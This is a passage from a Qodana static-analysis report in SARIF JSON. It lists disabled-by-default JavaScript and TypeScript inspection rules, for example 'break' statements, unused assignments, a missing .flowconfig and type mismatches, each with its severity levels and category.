\"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Code style issues\",\n                      \"index\": 10,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"BreakStatementJS\",\n                \"shortDescription\": {\n                  \"text\": \"'break' statement\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'break' statements. Ignores 'break' statements that end case blocks.\",\n                  \"markdown\": \"Reports a `break` statements. Ignores `break` statements that end case blocks.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"BreakStatementJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially undesirable code constructs\",\n                      \"index\": 11,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"FlowJSConfig\",\n                \"shortDescription\": {\n                  \"text\": \"Missing .flowconfig\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a JavaScript file with a '@flow' flag that doesn't have an associated '.flowconfig' file in the project.\",\n                  \"markdown\": \"Reports a JavaScript file with a `@flow` flag that doesn't have an associated `.flowconfig` file in the project.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"FlowJSConfig\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Flow type checker\",\n                      \"index\": 12,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSPotentiallyInvalidUsageOfClassThis\",\n                \"shortDescription\": {\n                  \"text\": \"Potentially invalid reference to 'this' of a class from closure\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an attempt to reference a member of an ECMAScript class via the 'this.' qualifier in a nested function that is not a lambda. 'this' in a nested function that is not a lambda is the function's own 'this' and doesn't relate to the outer class.\",\n                  \"markdown\": \"Reports an attempt to reference a member of an ECMAScript class via the `this.` qualifier in a nested function that is not a lambda.  \\n`this` in a nested function that is not a lambda is the function's own `this` and doesn't relate to the outer class.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSPotentiallyInvalidUsageOfClassThis\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Probable bugs\",\n                      \"index\": 13,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"DebuggerStatementJS\",\n                \"shortDescription\": {\n                  \"text\": \"'debugger' statement\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'debugger' statement used for interaction with the Javascript debuggers. Such statements should not appear in production code.\",\n                  \"markdown\": \"Reports a `debugger` statement used for interaction with the Javascript debuggers. Such statements should not appear in production code.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"DebuggerStatementJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially undesirable code constructs\",\n                      \"index\": 11,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSUnusedAssignment\",\n                \"shortDescription\": {\n                  \"text\": \"Unused assignment\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a variable whose value is never used after assignment. Suggests removing the unused variable to shorten the code and to avoid redundant allocations. The following cases are reported: A variable is never read after assignment. The value of a variable is always overwritten with another assignment before the variable is read next time. The initializer of a variable is redundant (for one of the above-mentioned reasons).\",\n                  \"markdown\": \"Reports a variable whose value is never used after assignment.  \\nSuggests removing the unused variable to shorten the code and to avoid redundant allocations.\\n\\nThe following cases are reported:\\n\\n* A variable is never read after assignment.\\n* The value of a variable is always overwritten with another assignment before the variable is read next time.\\n* The initializer of a variable is redundant (for one of the above-mentioned reasons).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSUnusedAssignment\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Unused symbols\",\n                      \"index\": 15,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"FlowJSError\",\n                \"shortDescription\": {\n                  \"text\": \"Flow type checker\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports errors from Flow.\",\n                  \"markdown\": \"Reports errors from [Flow](https://flowtype.org/).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"FlowJSError\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Flow type checker\",\n                      \"index\": 12,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ReuseOfLocalVariableJS\",\n                \"shortDescription\": {\n                  \"text\": \"Reuse of local variable\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports reusing a local variable and overwriting its value with a new value that is not related to the original variable usage. Reusing a local variable in this way may be confusing because the intended semantics of the local variable may vary with each usage. It may also cause bugs, if code changes result in values that were expected to be overwritten while they are actually live. It is good practices to keep variable lifetimes as short as possible, and not reuse local variables for the sake of brevity.\",\n                  \"markdown\": \"Reports reusing a local variable and overwriting its value with a new value that is not related to the original variable usage. Reusing a local variable in this way may be confusing because the intended semantics of the local variable may vary with each usage. It may also cause bugs, if code changes result in values that were expected to be overwritten while they are actually live. It is good practices to keep variable lifetimes as short as possible, and not reuse local variables for the sake of brevity.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ReuseOfLocalVariableJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Data flow\",\n                      \"index\": 16,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ShiftOutOfRangeJS\",\n                \"shortDescription\": {\n                  \"text\": \"Shift operation by possibly wrong constant\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a shift operation where the second operand is a constant outside the reasonable range, for example, an integer shift operation outside the range '0..31', shifting by negative or overly large values.\",\n                  \"markdown\": \"Reports a shift operation where the second operand is a constant outside the reasonable range, for example, an integer shift operation outside the range `0..31`, shifting by negative or overly large values.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ShiftOutOfRangeJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Bitwise operation issues\",\n                      \"index\": 17,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSClosureCompilerSyntax\",\n                \"shortDescription\": {\n                  \"text\": \"Incorrect usage of JSDoc tags\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports warnings implied by Google Closure Compiler annotations including correct use of '@abstract', '@interface', and '@implements' tags.\",\n                  \"markdown\": \"Reports warnings implied by *Google Closure Compiler* annotations including correct use of `@abstract`, `@interface`, and `@implements` tags.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSClosureCompilerSyntax\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"UnnecessaryContinueJS\",\n                \"shortDescription\": {\n                  \"text\": \"Unnecessary 'continue' statement\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unnecessary 'continue' statement at the end of a loop. Suggests removing such statements.\",\n                  \"markdown\": \"Reports an unnecessary `continue` statement at the end of a loop. Suggests removing such statements.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"UnnecessaryContinueJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Control flow issues\",\n                      \"index\": 1,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ES6ConvertLetToConst\",\n                \"shortDescription\": {\n                  \"text\": \"'let' is used instead of 'const'\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'let' declaration that can be made 'const'.\",\n                  \"markdown\": \"Reports a `let` declaration that can be made `const`.  \"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ES6ConvertLetToConst\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/ES2015 migration aids\",\n                      \"index\": 18,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSXDomNesting\",\n                \"shortDescription\": {\n                  \"text\": \"Invalid DOM element nesting\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Detects HTML elements in JSX files which are not nested properly according to the DOM specification. React reports runtime warnings on incorrectly nested elements.\",\n                  \"markdown\": \"Detects HTML elements in JSX files which are not nested properly according to the DOM specification. React reports runtime warnings on incorrectly nested elements.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSXDomNesting\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/React\",\n                      \"index\": 21,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"TypeScriptValidateTypes\",\n                \"shortDescription\": {\n                  \"text\": \"Type mismatch\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a parameter, return value, or assigned expression of incorrect type.\",\n                  \"markdown\": \"Reports a parameter, return value, or assigned expression of incorrect type.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"TypeScriptValidateTypes\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/TypeScript\",\n                      \"index\": 22,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"BadExpressionStatementJS\",\n                \"shortDescription\": {\n                  \"text\": \"Expression statement which is not assignment or call\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an expression statement that is neither an assignment nor a call. Such statements usually indicate an error.\",\n                  \"markdown\": \"Reports an expression statement that is neither an assignment nor a call. Such statements usually indicate an error.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"BadExpressionStatementJS\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Validity issues\",\n                      \"index\": 23,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ConfusingFloatingPointLiteralJS\",\n                \"shortDescription\": {\n                  \"text\": \"Confusing floating point literal\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports any floating point number that does not have a decimal point, or any numbers before the decimal point, or and numbers after the decimal point. Such literals may be confusing, and violate several coding standards.\",\n                  \"markdown\": \"Reports any floating point number that does not have a decimal point, or any numbers before the decimal point, or and numbers after the decimal point. Such literals may be confusing, and violate several coding standards.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ConfusingFloatingPointLiteralJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially confusing code constructs\",\n                      \"index\": 24,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"BreakStatementWithLabelJS\",\n                \"shortDescription\": {\n                  \"text\": \"'break' statement with label\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a labeled 'break' statement.\",\n                  \"markdown\": \"Reports a labeled `break` statement.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"BreakStatementWithLabelJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially undesirable code constructs\",\n                      \"index\": 11,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ContinueOrBreakFromFinallyBlockJS\",\n                \"shortDescription\": {\n                  \"text\": \"'continue' or 'break' inside 'finally' block\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'break' or 'continue' statement inside a 'finally' block. Such statements are very confusing, may hide exceptions, and complicate debugging.\",\n                  \"markdown\": \"Reports a `break` or `continue` statement inside a `finally` block. Such statements are very confusing, may hide exceptions, and complicate debugging.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ContinueOrBreakFromFinallyBlockJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Try statement issues\",\n                      \"index\": 27,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"StatementsPerFunctionJS\",\n                \"shortDescription\": {\n                  \"text\": \"Overly long function\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an overly long function. Function length is calculated by counting up the number of non-empty statements in the function. Functions that are too long are error-prone and difficult to test. Use the field below to specify the maximum acceptable number of statements in a function.\",\n                  \"markdown\": \"Reports an overly long function. Function length is calculated by counting up the number of non-empty statements in the function. Functions that are too long are error-prone and difficult to test.\\n\\n\\nUse the field below to specify the maximum acceptable number of statements in a function.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"FunctionTooLongJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Function metrics\",\n                      \"index\": 29,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"UnnecessaryLocalVariableJS\",\n                \"shortDescription\": {\n                  \"text\": \"Redundant local variable\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unnecessary local variable that does not make a function more comprehensible: a local variable that is immediately returned a local variable that is immediately assigned to another variable and is not used anymore a local variable that always has the same value as another local variable or parameter. Use the checkbox below to have this inspection ignore variables that are immediately returned or thrown. Some coding styles suggest using such variables for clarity and ease of debugging.\",\n                  \"markdown\": \"Reports an unnecessary local variable that does not make a function more comprehensible:\\n\\n* a local variable that is immediately returned\\n* a local variable that is immediately assigned to another variable and is not used anymore\\n* a local variable that always has the same value as another local variable or parameter.\\n\\n\\nUse the checkbox below to have this inspection ignore variables that are immediately\\nreturned or thrown. Some coding styles suggest using such variables for clarity and\\nease of debugging.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"UnnecessaryLocalVariableJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Data flow\",\n                      \"index\": 16,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSMethodCanBeStatic\",\n                \"shortDescription\": {\n                  \"text\": \"Method can be made 'static'\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a class method that can be safely made 'static'. A method can be 'static' if it does not reference any of its class' non-static methods and non-static fields and is not overridden in a subclass. Use the first checkbox below to inspect only 'private' methods.\",\n                  \"markdown\": \"Reports a class method that can be safely made `static`. A method can be `static` if it does not reference any of its class' non-static methods and non-static fields and is not overridden in a subclass.\\n\\n\\nUse the first checkbox below to inspect only `private` methods.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSMethodCanBeStatic\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSDeclarationsAtScopeStart\",\n                \"shortDescription\": {\n                  \"text\": \"'var' declared not at the beginning of a function\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Checks that declarations of local variables declared with var are at the top of a function scope. By default, variable declarations are always moved (\\\"hoisted\\\") invisibly to the top of their containing scope when the code is executed. Therefore, declaring them at the top of the scope helps represent this behavior in the code.\",\n                  \"markdown\": \"Checks that declarations of local variables declared with **var** are at the top of a function scope.   \\n\\nBy default, variable declarations are always moved (\\\"hoisted\\\") invisibly to the top of their containing scope when the code is executed. Therefore, declaring them at the top of the scope helps represent this behavior in the code.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSDeclarationsAtScopeStart\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Code style issues\",\n                      \"index\": 10,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ContinueStatementWithLabelJS\",\n                \"shortDescription\": {\n                  \"text\": \"'continue' statement with label\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a labeled 'continue' statement.\",\n                  \"markdown\": \"Reports a labeled `continue` statement.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ContinueStatementWithLabelJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially undesirable code constructs\",\n                      \"index\": 11,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"TypeScriptMissingConfigOption\",\n                \"shortDescription\": {\n                  \"text\": \"Missing tsconfig.json option \"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a usage that requires an explicit option in 'tsconfig.json'. For example, to use JSX in '.tsx' files, 'tsconfig.json' must contain '\\\"jsx\\\"' property.\",\n                  \"markdown\": \"Reports a usage that requires an explicit option in `tsconfig.json`. For example, to use JSX in `.tsx` files, `tsconfig.json` must contain `\\\"jsx\\\"` property.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"TypeScriptMissingConfigOption\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/TypeScript\",\n                      \"index\": 22,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSObjectNullOrUndefined\",\n                \"shortDescription\": {\n                  \"text\": \"Object is 'null' or 'undefined'\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an error caused by invoking a method, accessing a property, or calling a function on an object that is 'undefined' or 'null'.\",\n                  \"markdown\": \"Reports an error caused by invoking a method, accessing a property, or calling a function on an object that is `undefined` or `null`.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSObjectNullOrUndefined\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Control flow issues\",\n                      \"index\": 1,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSXUnresolvedComponent\",\n                \"shortDescription\": {\n                  \"text\": \"Unresolved JSX component\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unresolved reference to a JSX component. Suggests adding a missing import statement if the referenced component is defined in the project or its dependencies or creating a new component with this name. The template for a new component can be modified in Editor | File and Code Templates.\",\n                  \"markdown\": \"Reports an unresolved reference to a JSX component. Suggests adding a missing import statement if the referenced component is defined in the project or its dependencies or creating a new component with this name.\\n\\nThe template for a new component can be modified in Editor \\\\| File and Code Templates.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSXUnresolvedComponent\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ES6ShorthandObjectProperty\",\n                \"shortDescription\": {\n                  \"text\": \"Property can be replaced with shorthand\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an object property that can be converted to ES6 shorthand style and provides a quick-fix to do it. Example: 'var obj = {foo:foo}' After applying the quick-fix the code looks as follows: 'var obj = {foo}'\",\n                  \"markdown\": \"Reports an object property that can be converted to ES6 shorthand style and provides a quick-fix to do it.\\n\\nExample:\\n\\n\\n    var obj = {foo:foo}\\n\\nAfter applying the quick-fix the code looks as follows:\\n\\n\\n    var obj = {foo}\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ES6ShorthandObjectProperty\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"UnnecessaryLabelOnBreakStatementJS\",\n                \"shortDescription\": {\n                  \"text\": \"Unnecessary label on 'break' statement\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a labeled 'break' statement whose labels may be removed without changing the flow of control.\",\n                  \"markdown\": \"Reports a labeled `break` statement whose labels may be removed without changing the flow of control.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"UnnecessaryLabelOnBreakStatementJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Control flow issues\",\n                      \"index\": 1,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ContinueStatementJS\",\n                \"shortDescription\": {\n                  \"text\": \"'continue' statement\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'continue' statement.\",\n                  \"markdown\": \"Reports a `continue` statement.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ContinueStatementJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially undesirable code constructs\",\n                      \"index\": 11,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"AssignmentToForLoopParameterJS\",\n                \"shortDescription\": {\n                  \"text\": \"Assignment to 'for' loop parameter\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an assignment to a variable declared as a 'for' loop parameter. Although occasionally intended, this construct can be extremely confusing, 